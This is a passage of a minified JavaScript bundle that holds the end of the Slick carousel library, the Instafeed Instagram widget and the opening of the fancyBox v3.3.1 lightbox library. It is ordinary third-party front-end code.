mouseup.slick",{action:"end"},e.swipeHandler),e.$list.on("touchcancel.slick mouseleave.slick",{action:"end"},e.swipeHandler),e.$list.on("click.slick",e.clickHandler),i(document).on(e.visibilityChange,i.proxy(e.visibility,e)),e.options.accessibility===!0&&e.$list.on("keydown.slick",e.keyHandler),e.options.focusOnSelect===!0&&i(e.$slideTrack).children().on("click.slick",e.selectHandler),i(window).on("orientationchange.slick.slick-"+e.instanceUid,i.proxy(e.orientationChange,e)),i(window).on("resize.slick.slick-"+e.instanceUid,i.proxy(e.resize,e)),i("[draggable!=true]",e.$slideTrack).on("dragstart",e.preventDefault),i(window).on("load.slick.slick-"+e.instanceUid,e.setPosition),i(document).on("ready.slick.slick-"+e.instanceUid,e.setPosition)},e.prototype.initUI=function(){var i=this;i.options.arrows===!0&&i.slideCount>i.options.slidesToShow&&(i.$prevArrow.show(),i.$nextArrow.show()),i.options.dots===!0&&i.slideCount>i.options.slidesToShow&&i.$dots.show()},e.prototype.keyHandler=function(i){var e=this;i.target.tagName.match("TEXTAREA|INPUT|SELECT")||(37===i.keyCode&&e.options.accessibility===!0?e.changeSlide({data:{message:e.options.rtl===!0?"next":"previous"}}):39===i.keyCode&&e.options.accessibility===!0&&e.changeSlide({data:{message:e.options.rtl===!0?"previous":"next"}}))},e.prototype.lazyLoad=function(){function e(e){i("img[data-lazy]",e).each(function(){var e=i(this),t=i(this).attr("data-lazy"),o=document.createElement("img");o.onload=function(){e.animate({opacity:0},100,function(){e.attr("src",t).animate({opacity:1},200,function(){e.removeAttr("data-lazy").removeClass("slick-loading")}),r.$slider.trigger("lazyLoaded",[r,e,t])})},o.onerror=function(){e.removeAttr("data-lazy").removeClass("slick-loading").addClass("slick-lazyload-error"),r.$slider.trigger("lazyLoadError",[r,e,t])},o.src=t})}var t,o,s,n,r=this;r.options.centerMode===!0?r.options.infinite===!0?(s=r.currentSlide+(r.options.slidesToShow/2+1),n=s+r.options.slidesToShow+2):(s=Math.max(0,r.currentSlide-(r.options.slidesToShow/2+1)),n=2+(r.options.slidesToShow/2+1)+r.currentSlide):(s=r.options.infinite?r.options.slidesToShow+r.currentSlide:r.currentSlide,n=Math.ceil(s+r.options.slidesToShow),r.options.fade===!0&&(s>0&&s--,n<=r.slideCount&&n++)),t=r.$slider.find(".slick-slide").slice(s,n),e(t),r.slideCount<=r.options.slidesToShow?(o=r.$slider.find(".slick-slide"),e(o)):r.currentSlide>=r.slideCount-r.options.slidesToShow?(o=r.$slider.find(".slick-cloned").slice(0,r.options.slidesToShow),e(o)):0===r.currentSlide&&(o=r.$slider.find(".slick-cloned").slice(-1*r.options.slidesToShow),e(o))},e.prototype.loadSlider=function(){var i=this;i.setPosition(),i.$slideTrack.css({opacity:1}),i.$slider.removeClass("slick-loading"),i.initUI(),"progressive"===i.options.lazyLoad&&i.progressiveLazyLoad()},e.prototype.next=e.prototype.slickNext=function(){var i=this;i.changeSlide({data:{message:"next"}})},e.prototype.orientationChange=function(){var i=this;i.checkResponsive(),i.setPosition()},e.prototype.pause=e.prototype.slickPause=function(){var i=this;i.autoPlayClear(),i.paused=!0},e.prototype.play=e.prototype.slickPlay=function(){var i=this;i.autoPlay(),i.options.autoplay=!0,i.paused=!1,i.focussed=!1,i.interrupted=!1},e.prototype.postSlide=function(i){var e=this;e.unslicked||(e.$slider.trigger("afterChange",[e,i]),e.animating=!1,e.setPosition(),e.swipeLeft=null,e.options.autoplay&&e.autoPlay(),e.options.accessibility===!0&&e.initADA())},e.prototype.prev=e.prototype.slickPrev=function(){var i=this;i.changeSlide({data:{message:"previous"}})},e.prototype.preventDefault=function(i){i.preventDefault()},e.prototype.progressiveLazyLoad=function(e){e=e||1;var t,o,s,n=this,r=i("img[data-lazy]",n.$slider);r.length?(t=r.first(),o=t.attr("data-lazy"),s=document.createElement("img"),s.onload=function(){t.attr("src",o).removeAttr("data-lazy").removeClass("slick-loading"),n.options.adaptiveHeight===!0&&n.setPosition(),n.$slider.trigger("lazyLoaded",[n,t,o]),n.progressiveLazyLoad()},s.onerror=function(){3>e?setTimeout(function(){n.progressiveLazyLoad(e+1)},500):(t.removeAttr("data-lazy").removeClass("slick-loading").addClass("slick-lazyload-error"),n.$slider.trigger("lazyLoadError",[n,t,o]),n.progressiveLazyLoad())},s.src=o):n.$slider.trigger("allImagesLoaded",[n])},e.prototype.refresh=function(e){var t,o,s=this;o=s.slideCount-s.options.slidesToShow,!s.options.infinite&&s.currentSlide>o&&(s.currentSlide=o),s.slideCount<=s.options.slidesToShow&&(s.currentSlide=0),t=s.currentSlide,s.destroy(!0),i.extend(s,s.initials,{currentSlide:t}),s.init(),e||s.changeSlide({data:{message:"index",index:t}},!1)},e.prototype.registerBreakpoints=function(){var e,t,o,s=this,n=s.options.responsive||null;if("array"===i.type(n)&&n.length){s.respondTo=s.options.respondTo||"window";for(e in n)if(o=s.breakpoints.length-1,t=n[e].breakpoint,n.hasOwnProperty(e)){for(;o>=0;)s.breakpoints[o]&&s.breakpoints[o]===t&&s.breakpoints.splice(o,1),o--;s.breakpoints.push(t),s.breakpointSettings[t]=n[e].settings}s.breakpoints.sort(function(i,e){return s.options.mobileFirst?i-e:e-i})}},e.prototype.reinit=function(){var e=this;e.$slides=e.$slideTrack.children(e.options.slide).addClass("slick-slide"),e.slideCount=e.$slides.length,e.currentSlide>=e.slideCount&&0!==e.currentSlide&&(e.currentSlide=e.currentSlide-e.options.slidesToScroll),e.slideCount<=e.options.slidesToShow&&(e.currentSlide=0),e.registerBreakpoints(),e.setProps(),e.setupInfinite(),e.buildArrows(),e.updateArrows(),e.initArrowEvents(),e.buildDots(),e.updateDots(),e.initDotEvents(),e.cleanUpSlideEvents(),e.initSlideEvents(),e.checkResponsive(!1,!0),e.options.focusOnSelect===!0&&i(e.$slideTrack).children().on("click.slick",e.selectHandler),e.setSlideClasses("number"==typeof e.currentSlide?e.currentSlide:0),e.setPosition(),e.focusHandler(),e.paused=!e.options.autoplay,e.autoPlay(),e.$slider.trigger("reInit",[e])},e.prototype.resize=function(){var e=this;i(window).width()!==e.windowWidth&&(clearTimeout(e.windowDelay),e.windowDelay=window.setTimeout(function(){e.windowWidth=i(window).width(),e.checkResponsive(),e.unslicked||e.setPosition()},50))},e.prototype.removeSlide=e.prototype.slickRemove=function(i,e,t){var o=this;return"boolean"==typeof i?(e=i,i=e===!0?0:o.slideCount-1):i=e===!0?--i:i,o.slideCount<1||0>i||i>o.slideCount-1?!1:(o.unload(),t===!0?o.$slideTrack.children().remove():o.$slideTrack.children(this.options.slide).eq(i).remove(),o.$slides=o.$slideTrack.children(this.options.slide),o.$slideTrack.children(this.options.slide).detach(),o.$slideTrack.append(o.$slides),o.$slidesCache=o.$slides,void o.reinit())},e.prototype.setCSS=function(i){var e,t,o=this,s={};o.options.rtl===!0&&(i=-i),e="left"==o.positionProp?Math.ceil(i)+"px":"0px",t="top"==o.positionProp?Math.ceil(i)+"px":"0px",s[o.positionProp]=i,o.transformsEnabled===!1?o.$slideTrack.css(s):(s={},o.cssTransitions===!1?(s[o.animType]="translate("+e+", "+t+")",o.$slideTrack.css(s)):(s[o.animType]="translate3d("+e+", "+t+", 0px)",o.$slideTrack.css(s)))},e.prototype.setDimensions=function(){var i=this;i.options.vertical===!1?i.options.centerMode===!0&&i.$list.css({padding:"0px "+i.options.centerPadding}):(i.$list.height(i.$slides.first().outerHeight(!0)*i.options.slidesToShow),i.options.centerMode===!0&&i.$list.css({padding:i.options.centerPadding+" 0px"})),i.listWidth=i.$list.width(),i.listHeight=i.$list.height(),i.options.vertical===!1&&i.options.variableWidth===!1?(i.slideWidth=Math.ceil(i.listWidth/i.options.slidesToShow),i.$slideTrack.width(Math.ceil(i.slideWidth*i.$slideTrack.children(".slick-slide").length))):i.options.variableWidth===!0?i.$slideTrack.width(5e3*i.slideCount):(i.slideWidth=Math.ceil(i.listWidth),i.$slideTrack.height(Math.ceil(i.$slides.first().outerHeight(!0)*i.$slideTrack.children(".slick-slide").length)));var e=i.$slides.first().outerWidth(!0)-i.$slides.first().width();i.options.variableWidth===!1&&i.$slideTrack.children(".slick-slide").width(i.slideWidth-e)},e.prototype.setFade=function(){var e,t=this;t.$slides.each(function(o,s){e=t.slideWidth*o*-1,t.options.rtl===!0?i(s).css({position:"relative",right:e,top:0,zIndex:t.options.zIndex-2,opacity:0}):i(s).css({position:"relative",left:e,top:0,zIndex:t.options.zIndex-2,opacity:0})}),t.$slides.eq(t.currentSlide).css({zIndex:t.options.zIndex-1,opacity:1})},e.prototype.setHeight=function(){var i=this;if(1===i.options.slidesToShow&&i.options.adaptiveHeight===!0&&i.options.vertical===!1){var e=i.$slides.eq(i.currentSlide).outerHeight(!0);i.$list.css("height",e)}},e.prototype.setOption=e.prototype.slickSetOption=function(){var e,t,o,s,n,r=this,l=!1;if("object"===i.type(arguments[0])?(o=arguments[0],l=arguments[1],n="multiple"):"string"===i.type(arguments[0])&&(o=arguments[0],s=arguments[1],l=arguments[2],"responsive"===arguments[0]&&"array"===i.type(arguments[1])?n="responsive":"undefined"!=typeof arguments[1]&&(n="single")),"single"===n)r.options[o]=s;else if("multiple"===n)i.each(o,function(i,e){r.options[i]=e});else if("responsive"===n)for(t in s)if("array"!==i.type(r.options.responsive))r.options.responsive=[s[t]];else{for(e=r.options.responsive.length-1;e>=0;)r.options.responsive[e].breakpoint===s[t].breakpoint&&r.options.responsive.splice(e,1),e--;r.options.responsive.push(s[t])}l&&(r.unload(),r.reinit())},e.prototype.setPosition=function(){var i=this;i.setDimensions(),i.setHeight(),i.options.fade===!1?i.setCSS(i.getLeft(i.currentSlide)):i.setFade(),i.$slider.trigger("setPosition",[i])},e.prototype.setProps=function(){var i=this,e=document.body.style;i.positionProp=i.options.vertical===!0?"top":"left","top"===i.positionProp?i.$slider.addClass("slick-vertical"):i.$slider.removeClass("slick-vertical"),(void 0!==e.WebkitTransition||void 0!==e.MozTransition||void 0!==e.msTransition)&&i.options.useCSS===!0&&(i.cssTransitions=!0),i.options.fade&&("number"==typeof i.options.zIndex?i.options.zIndex<3&&(i.options.zIndex=3):i.options.zIndex=i.defaults.zIndex),void 0!==e.OTransform&&(i.animType="OTransform",i.transformType="-o-transform",i.transitionType="OTransition",void 0===e.perspectiveProperty&&void 0===e.webkitPerspective&&(i.animType=!1)),void 0!==e.MozTransform&&(i.animType="MozTransform",i.transformType="-moz-transform",i.transitionType="MozTransition",void 0===e.perspectiveProperty&&void 0===e.MozPerspective&&(i.animType=!1)),void 0!==e.webkitTransform&&(i.animType="webkitTransform",i.transformType="-webkit-transform",i.transitionType="webkitTransition",void 0===e.perspectiveProperty&&void 0===e.webkitPerspective&&(i.animType=!1)),void 0!==e.msTransform&&(i.animType="msTransform",i.transformType="-ms-transform",i.transitionType="msTransition",void 0===e.msTransform&&(i.animType=!1)),void 0!==e.transform&&i.animType!==!1&&(i.animType="transform",i.transformType="transform",i.transitionType="transition"),i.transformsEnabled=i.options.useTransform&&null!==i.animType&&i.animType!==!1},e.prototype.setSlideClasses=function(i){var e,t,o,s,n=this;t=n.$slider.find(".slick-slide").removeClass("slick-active slick-center slick-current").attr("aria-hidden","true"),n.$slides.eq(i).addClass("slick-current"),n.options.centerMode===!0?(e=Math.floor(n.options.slidesToShow/2),n.options.infinite===!0&&(i>=e&&i<=n.slideCount-1-e?n.$slides.slice(i-e,i+e+1).addClass("slick-active").attr("aria-hidden","false"):(o=n.options.slidesToShow+i, +t.slice(o-e+1,o+e+2).addClass("slick-active").attr("aria-hidden","false")),0===i?t.eq(t.length-1-n.options.slidesToShow).addClass("slick-center"):i===n.slideCount-1&&t.eq(n.options.slidesToShow).addClass("slick-center")),n.$slides.eq(i).addClass("slick-center")):i>=0&&i<=n.slideCount-n.options.slidesToShow?n.$slides.slice(i,i+n.options.slidesToShow).addClass("slick-active").attr("aria-hidden","false"):t.length<=n.options.slidesToShow?t.addClass("slick-active").attr("aria-hidden","false"):(s=n.slideCount%n.options.slidesToShow,o=n.options.infinite===!0?n.options.slidesToShow+i:i,n.options.slidesToShow==n.options.slidesToScroll&&n.slideCount-i<n.options.slidesToShow?t.slice(o-(n.options.slidesToShow-s),o+s).addClass("slick-active").attr("aria-hidden","false"):t.slice(o,o+n.options.slidesToShow).addClass("slick-active").attr("aria-hidden","false")),"ondemand"===n.options.lazyLoad&&n.lazyLoad()},e.prototype.setupInfinite=function(){var e,t,o,s=this;if(s.options.fade===!0&&(s.options.centerMode=!1),s.options.infinite===!0&&s.options.fade===!1&&(t=null,s.slideCount>s.options.slidesToShow)){for(o=s.options.centerMode===!0?s.options.slidesToShow+1:s.options.slidesToShow,e=s.slideCount;e>s.slideCount-o;e-=1)t=e-1,i(s.$slides[t]).clone(!0).attr("id","").attr("data-slick-index",t-s.slideCount).prependTo(s.$slideTrack).addClass("slick-cloned");for(e=0;o>e;e+=1)t=e,i(s.$slides[t]).clone(!0).attr("id","").attr("data-slick-index",t+s.slideCount).appendTo(s.$slideTrack).addClass("slick-cloned");s.$slideTrack.find(".slick-cloned").find("[id]").each(function(){i(this).attr("id","")})}},e.prototype.interrupt=function(i){var e=this;i||e.autoPlay(),e.interrupted=i},e.prototype.selectHandler=function(e){var t=this,o=i(e.target).is(".slick-slide")?i(e.target):i(e.target).parents(".slick-slide"),s=parseInt(o.attr("data-slick-index"));return s||(s=0),t.slideCount<=t.options.slidesToShow?(t.setSlideClasses(s),void t.asNavFor(s)):void t.slideHandler(s)},e.prototype.slideHandler=function(i,e,t){var o,s,n,r,l,a=null,d=this;return e=e||!1,d.animating===!0&&d.options.waitForAnimate===!0||d.options.fade===!0&&d.currentSlide===i||d.slideCount<=d.options.slidesToShow?void 0:(e===!1&&d.asNavFor(i),o=i,a=d.getLeft(o),r=d.getLeft(d.currentSlide),d.currentLeft=null===d.swipeLeft?r:d.swipeLeft,d.options.infinite===!1&&d.options.centerMode===!1&&(0>i||i>d.getDotCount()*d.options.slidesToScroll)?void(d.options.fade===!1&&(o=d.currentSlide,t!==!0?d.animateSlide(r,function(){d.postSlide(o)}):d.postSlide(o))):d.options.infinite===!1&&d.options.centerMode===!0&&(0>i||i>d.slideCount-d.options.slidesToScroll)?void(d.options.fade===!1&&(o=d.currentSlide,t!==!0?d.animateSlide(r,function(){d.postSlide(o)}):d.postSlide(o))):(d.options.autoplay&&clearInterval(d.autoPlayTimer),s=0>o?d.slideCount%d.options.slidesToScroll!==0?d.slideCount-d.slideCount%d.options.slidesToScroll:d.slideCount+o:o>=d.slideCount?d.slideCount%d.options.slidesToScroll!==0?0:o-d.slideCount:o,d.animating=!0,d.$slider.trigger("beforeChange",[d,d.currentSlide,s]),n=d.currentSlide,d.currentSlide=s,d.setSlideClasses(d.currentSlide),d.options.asNavFor&&(l=d.getNavTarget(),l=l.slick("getSlick"),l.slideCount<=l.options.slidesToShow&&l.setSlideClasses(d.currentSlide)),d.updateDots(),d.updateArrows(),d.options.fade===!0?(t!==!0?(d.fadeSlideOut(n),d.fadeSlide(s,function(){d.postSlide(s)})):d.postSlide(s),void d.animateHeight()):void(t!==!0?d.animateSlide(a,function(){d.postSlide(s)}):d.postSlide(s))))},e.prototype.startLoad=function(){var i=this;i.options.arrows===!0&&i.slideCount>i.options.slidesToShow&&(i.$prevArrow.hide(),i.$nextArrow.hide()),i.options.dots===!0&&i.slideCount>i.options.slidesToShow&&i.$dots.hide(),i.$slider.addClass("slick-loading")},e.prototype.swipeDirection=function(){var i,e,t,o,s=this;return i=s.touchObject.startX-s.touchObject.curX,e=s.touchObject.startY-s.touchObject.curY,t=Math.atan2(e,i),o=Math.round(180*t/Math.PI),0>o&&(o=360-Math.abs(o)),45>=o&&o>=0?s.options.rtl===!1?"left":"right":360>=o&&o>=315?s.options.rtl===!1?"left":"right":o>=135&&225>=o?s.options.rtl===!1?"right":"left":s.options.verticalSwiping===!0?o>=35&&135>=o?"down":"up":"vertical"},e.prototype.swipeEnd=function(i){var e,t,o=this;if(o.dragging=!1,o.interrupted=!1,o.shouldClick=o.touchObject.swipeLength>10?!1:!0,void 0===o.touchObject.curX)return!1;if(o.touchObject.edgeHit===!0&&o.$slider.trigger("edge",[o,o.swipeDirection()]),o.touchObject.swipeLength>=o.touchObject.minSwipe){switch(t=o.swipeDirection()){case"left":case"down":e=o.options.swipeToSlide?o.checkNavigable(o.currentSlide+o.getSlideCount()):o.currentSlide+o.getSlideCount(),o.currentDirection=0;break;case"right":case"up":e=o.options.swipeToSlide?o.checkNavigable(o.currentSlide-o.getSlideCount()):o.currentSlide-o.getSlideCount(),o.currentDirection=1}"vertical"!=t&&(o.slideHandler(e),o.touchObject={},o.$slider.trigger("swipe",[o,t]))}else o.touchObject.startX!==o.touchObject.curX&&(o.slideHandler(o.currentSlide),o.touchObject={})},e.prototype.swipeHandler=function(i){var e=this;if(!(e.options.swipe===!1||"ontouchend"in document&&e.options.swipe===!1||e.options.draggable===!1&&-1!==i.type.indexOf("mouse")))switch(e.touchObject.fingerCount=i.originalEvent&&void 0!==i.originalEvent.touches?i.originalEvent.touches.length:1,e.touchObject.minSwipe=e.listWidth/e.options.touchThreshold,e.options.verticalSwiping===!0&&(e.touchObject.minSwipe=e.listHeight/e.options.touchThreshold),i.data.action){case"start":e.swipeStart(i);break;case"move":e.swipeMove(i);break;case"end":e.swipeEnd(i)}},e.prototype.swipeMove=function(i){var e,t,o,s,n,r=this;return n=void 0!==i.originalEvent?i.originalEvent.touches:null,!r.dragging||n&&1!==n.length?!1:(e=r.getLeft(r.currentSlide),r.touchObject.curX=void 0!==n?n[0].pageX:i.clientX,r.touchObject.curY=void 0!==n?n[0].pageY:i.clientY,r.touchObject.swipeLength=Math.round(Math.sqrt(Math.pow(r.touchObject.curX-r.touchObject.startX,2))),r.options.verticalSwiping===!0&&(r.touchObject.swipeLength=Math.round(Math.sqrt(Math.pow(r.touchObject.curY-r.touchObject.startY,2)))),t=r.swipeDirection(),"vertical"!==t?(void 0!==i.originalEvent&&r.touchObject.swipeLength>4&&i.preventDefault(),s=(r.options.rtl===!1?1:-1)*(r.touchObject.curX>r.touchObject.startX?1:-1),r.options.verticalSwiping===!0&&(s=r.touchObject.curY>r.touchObject.startY?1:-1),o=r.touchObject.swipeLength,r.touchObject.edgeHit=!1,r.options.infinite===!1&&(0===r.currentSlide&&"right"===t||r.currentSlide>=r.getDotCount()&&"left"===t)&&(o=r.touchObject.swipeLength*r.options.edgeFriction,r.touchObject.edgeHit=!0),r.options.vertical===!1?r.swipeLeft=e+o*s:r.swipeLeft=e+o*(r.$list.height()/r.listWidth)*s,r.options.verticalSwiping===!0&&(r.swipeLeft=e+o*s),r.options.fade===!0||r.options.touchMove===!1?!1:r.animating===!0?(r.swipeLeft=null,!1):void r.setCSS(r.swipeLeft)):void 0)},e.prototype.swipeStart=function(i){var e,t=this;return t.interrupted=!0,1!==t.touchObject.fingerCount||t.slideCount<=t.options.slidesToShow?(t.touchObject={},!1):(void 0!==i.originalEvent&&void 0!==i.originalEvent.touches&&(e=i.originalEvent.touches[0]),t.touchObject.startX=t.touchObject.curX=void 0!==e?e.pageX:i.clientX,t.touchObject.startY=t.touchObject.curY=void 0!==e?e.pageY:i.clientY,void(t.dragging=!0))},e.prototype.unfilterSlides=e.prototype.slickUnfilter=function(){var i=this;null!==i.$slidesCache&&(i.unload(),i.$slideTrack.children(this.options.slide).detach(),i.$slidesCache.appendTo(i.$slideTrack),i.reinit())},e.prototype.unload=function(){var e=this;i(".slick-cloned",e.$slider).remove(),e.$dots&&e.$dots.remove(),e.$prevArrow&&e.htmlExpr.test(e.options.prevArrow)&&e.$prevArrow.remove(),e.$nextArrow&&e.htmlExpr.test(e.options.nextArrow)&&e.$nextArrow.remove(),e.$slides.removeClass("slick-slide slick-active slick-visible slick-current").attr("aria-hidden","true").css("width","")},e.prototype.unslick=function(i){var e=this;e.$slider.trigger("unslick",[e,i]),e.destroy()},e.prototype.updateArrows=function(){var i,e=this;i=Math.floor(e.options.slidesToShow/2),e.options.arrows===!0&&e.slideCount>e.options.slidesToShow&&!e.options.infinite&&(e.$prevArrow.removeClass("slick-disabled").attr("aria-disabled","false"),e.$nextArrow.removeClass("slick-disabled").attr("aria-disabled","false"),0===e.currentSlide?(e.$prevArrow.addClass("slick-disabled").attr("aria-disabled","true"),e.$nextArrow.removeClass("slick-disabled").attr("aria-disabled","false")):e.currentSlide>=e.slideCount-e.options.slidesToShow&&e.options.centerMode===!1?(e.$nextArrow.addClass("slick-disabled").attr("aria-disabled","true"),e.$prevArrow.removeClass("slick-disabled").attr("aria-disabled","false")):e.currentSlide>=e.slideCount-1&&e.options.centerMode===!0&&(e.$nextArrow.addClass("slick-disabled").attr("aria-disabled","true"),e.$prevArrow.removeClass("slick-disabled").attr("aria-disabled","false")))},e.prototype.updateDots=function(){var i=this;null!==i.$dots&&(i.$dots.find("li").removeClass("slick-active").attr("aria-hidden","true"),i.$dots.find("li").eq(Math.floor(i.currentSlide/i.options.slidesToScroll)).addClass("slick-active").attr("aria-hidden","false"))},e.prototype.visibility=function(){var i=this;i.options.autoplay&&(document[i.hidden]?i.interrupted=!0:i.interrupted=!1)},i.fn.slick=function(){var i,t,o=this,s=arguments[0],n=Array.prototype.slice.call(arguments,1),r=o.length;for(i=0;r>i;i++)if("object"==typeof s||"undefined"==typeof s?o[i].slick=new e(o[i],s):t=o[i].slick[s].apply(o[i].slick,n),"undefined"!=typeof t)return t;return o}}); + + +/* instafeed +-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + // Generated by CoffeeScript 1.9.3 +(function(){var e;e=function(){function e(e,t){var n,r;this.options={target:"instafeed",get:"popular",resolution:"thumbnail",sortBy:"none",links:!0,mock:!1,useHttp:!1};if(typeof e=="object")for(n in e)r=e[n],this.options[n]=r;this.context=t!=null?t:this,this.unique=this._genKey()}return e.prototype.hasNext=function(){return typeof this.context.nextUrl=="string"&&this.context.nextUrl.length>0},e.prototype.next=function(){return this.hasNext()?this.run(this.context.nextUrl):!1},e.prototype.run=function(t){var n,r,i;if(typeof this.options.clientId!="string"&&typeof this.options.accessToken!="string")throw new Error("Missing clientId or accessToken.");if(typeof this.options.accessToken!="string"&&typeof this.options.clientId!="string")throw new Error("Missing clientId or accessToken.");return this.options.before!=null&&typeof this.options.before=="function"&&this.options.before.call(this),typeof document!="undefined"&&document!==null&&(i=document.createElement("script"),i.id="instafeed-fetcher",i.src=t||this._buildUrl(),n=document.getElementsByTagName("head"),n[0].appendChild(i),r="instafeedCache"+this.unique,window[r]=new e(this.options,this),window[r].unique=this.unique),!0},e.prototype.parse=function(e){var t,n,r,i,s,o,u,a,f,l,c,h,p,d,v,m,g,y,b,w,E,S,x,T,N,C,k,L,A,O,M,_,D;if(typeof e!="object"){if(this.options.error!=null&&typeof this.options.error=="function")return this.options.error.call(this,"Invalid JSON data"),!1;throw new Error("Invalid JSON response")}if(e.meta.code!==200){if(this.options.error!=null&&typeof this.options.error=="function")return this.options.error.call(this,e.meta.error_message),!1;throw new Error("Error from Instagram: "+e.meta.error_message)}if(e.data.length===0){if(this.options.error!=null&&typeof this.options.error=="function")return this.options.error.call(this,"No images were returned from Instagram"),!1;throw new Error("No images were returned from Instagram")}this.options.success!=null&&typeof this.options.success=="function"&&this.options.success.call(this,e),this.context.nextUrl="",e.pagination!=null&&(this.context.nextUrl=e.pagination.next_url);if(this.options.sortBy!=="none"){this.options.sortBy==="random"?M=["","random"]:M=this.options.sortBy.split("-"),O=M[0]==="least"?!0:!1;switch(M[1]){case"random":e.data.sort(function(){return.5-Math.random()});break;case"recent":e.data=this._sortBy(e.data,"created_time",O);break;case"liked":e.data=this._sortBy(e.data,"likes.count",O);break;case"commented":e.data=this._sortBy(e.data,"comments.count",O);break;default:throw new Error("Invalid option for sortBy: '"+this.options.sortBy+"'.")}}if(typeof document!="undefined"&&document!==null&&this.options.mock===!1){m=e.data,A=parseInt(this.options.limit,10),this.options.limit!=null&&m.length>A&&(m=m.slice(0,A)),u=document.createDocumentFragment(),this.options.filter!=null&&typeof this.options.filter=="function"&&(m=this._filter(m,this.options.filter));if(this.options.template!=null&&typeof this.options.template=="string"){f="",d="",w="",D=document.createElement("div");for(c=0,N=m.length;c<N;c++){h=m[c],p=h.images[this.options.resolution];if(typeof p!="object")throw o="No image found for resolution: "+this.options.resolution+".",new Error(o);E=p.width,y=p.height,b="square",E>y&&(b="landscape"),E<y&&(b="portrait"),v=p.url,l=window.location.protocol.indexOf("http")>=0,l&&!this.options.useHttp&&(v=v.replace(/https?:\/\//,"//")),d=this._makeTemplate(this.options.template,{model:h,id:h.id,link:h.link,type:h.type,image:v,width:E,height:y,orientation:b,caption:this._getObjectProperty(h,"caption.text"),likes:h.likes.count,comments:h.comments.count,location:this._getObjectProperty(h,"location.name")}),f+=d}D.innerHTML=f,i=[],r=0,n=D.childNodes.length;while(r<n)i.push(D.childNodes[r]),r+=1;for(x=0,C=i.length;x<C;x++)L=i[x],u.appendChild(L)}else for(T=0,k=m.length;T<k;T++){h=m[T],g=document.createElement("img"),p=h.images[this.options.resolution];if(typeof p!="object")throw o="No image found for resolution: "+this.options.resolution+".",new Error(o);v=p.url,l=window.location.protocol.indexOf("http")>=0,l&&!this.options.useHttp&&(v=v.replace(/https?:\/\//,"//")),g.src=v,this.options.links===!0?(t=document.createElement("a"),t.href=h.link,t.appendChild(g),u.appendChild(t)):u.appendChild(g)}_=this.options.target,typeof _=="string"&&(_=document.getElementById(_));if(_==null)throw o='No element with id="'+this.options.target+'" on page.',new Error(o);_.appendChild(u),a=document.getElementsByTagName("head")[0],a.removeChild(document.getElementById("instafeed-fetcher")),S="instafeedCache"+this.unique,window[S]=void 0;try{delete window[S]}catch(P){s=P}}return this.options.after!=null&&typeof this.options.after=="function"&&this.options.after.call(this),!0},e.prototype._buildUrl=function(){var e,t,n;e="https://api.instagram.com/v1";switch(this.options.get){case"popular":t="media/popular";break;case"tagged":if(!this.options.tagName)throw new Error("No tag name specified. Use the 'tagName' option.");t="tags/"+this.options.tagName+"/media/recent";break;case"location":if(!this.options.locationId)throw new Error("No location specified. Use the 'locationId' option.");t="locations/"+this.options.locationId+"/media/recent";break;case"user":if(!this.options.userId)throw new Error("No user specified. Use the 'userId' option.");t="users/"+this.options.userId+"/media/recent";break;default:throw new Error("Invalid option for get: '"+this.options.get+"'.")}return n=e+"/"+t,this.options.accessToken!=null?n+="?access_token="+this.options.accessToken:n+="?client_id="+this.options.clientId,this.options.limit!=null&&(n+="&count="+this.options.limit),n+="&callback=instafeedCache"+this.unique+".parse",n},e.prototype._genKey=function(){var e;return e=function(){return((1+Math.random())*65536|0).toString(16).substring(1)},""+e()+e()+e()+e()},e.prototype._makeTemplate=function(e,t){var n,r,i,s,o;r=/(?:\{{2})([\w\[\]\.]+)(?:\}{2})/,n=e;while(r.test(n))s=n.match(r)[1],o=(i=this._getObjectProperty(t,s))!=null?i:"",n=n.replace(r,function(){return""+o});return n},e.prototype._getObjectProperty=function(e,t){var n,r;t=t.replace(/\[(\w+)\]/g,".$1"),r=t.split(".");while(r.length){n=r.shift();if(!(e!=null&&n in e))return null;e=e[n]}return e},e.prototype._sortBy=function(e,t,n){var r;return r=function(e,r){var i,s;return i=this._getObjectProperty(e,t),s=this._getObjectProperty(r,t),n?i>s?1:-1:i<s?1:-1},e.sort(r.bind(this)),e},e.prototype._filter=function(e,t){var n,r,i,s,o;n=[],r=function(e){if(t(e))return n.push(e)};for(i=0,o=e.length;i<o;i++)s=e[i],r(s);return n},e}(),function(e,t){return typeof define=="function"&&define.amd?define([],t):typeof module=="object"&&module.exports?module.exports=t():e.Instafeed=t()}(this,function(){return e})}).call(this); + + +/* fancyBox v3.3.1 +-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ +// ================================================== +// fancyBox v3.3.1 +// +// Licensed GPLv3 for open source use +// or fancyBox Commercial License for commercial use +// +// http://fancyapps.com/fancybox/ +// Copyright 2018 fancyApps +// +// ================================================== +!function(t,e,n,o){"use strict";function i(t,e){var o,i,a=[],s=0;t&&t.isDefaultPrevented()||(t.preventDefault(),e=t&&t.data?t.data.options:e||{},o=e.$target||n(t.currentTarget),i=o.attr("data-fancybox")||"",i?(a=e.selector?n(e.selector):t.data?t.data.items:[],a=a.length?a.filter('[data-fancybox="'+i+'"]'):n('[data-fancybox="'+i+'"]'),s=a.index(o),s<0&&(s=0)):a=[o],n.fancybox.open(a,e,s))}if(t.console=t.console||{info:function(t){}},n){if(n.fn.fancybox)return void console.info("fancyBox already initialized");var a={loop:!1,gutter:50,keyboard:!0,arrows:!0,infobar:!0,smallBtn:"auto",toolbar:"auto",buttons:["zoom","thumbs","close"],idleTime:3,protect:!1,modal:!1,image:{preload:!1},ajax:{settings:{data:{fancybox:!0}}},iframe:{tpl:'<iframe id="fancybox-frame{rnd}" name="fancybox-frame{rnd}" class="fancybox-iframe" frameborder="0" vspace="0" hspace="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen allowtransparency="true" src=""></iframe>',preload:!0,css:{},attr:{scrolling:"auto"}},defaultType:"image",animationEffect:"zoom",animationDuration:366,zoomOpacity:"auto",transitionEffect:"fade",transitionDuration:366,slideClass:"",baseClass:"",baseTpl:'<div class="fancybox-container" role="dialog" tabindex="-1"><div class="fancybox-bg"></div><div class="fancybox-inner"><div class="fancybox-infobar"><span data-fancybox-index></span> / <span data-fancybox-count></span></div><div class="fancybox-toolbar">{{buttons}}</div><div class="fancybox-navigation">{{arrows}}</div><div class="fancybox-stage"></div><div class="fancybox-caption"></div></div></div>',spinnerTpl:'<div class="fancybox-loading"></div>',errorTpl:'<div 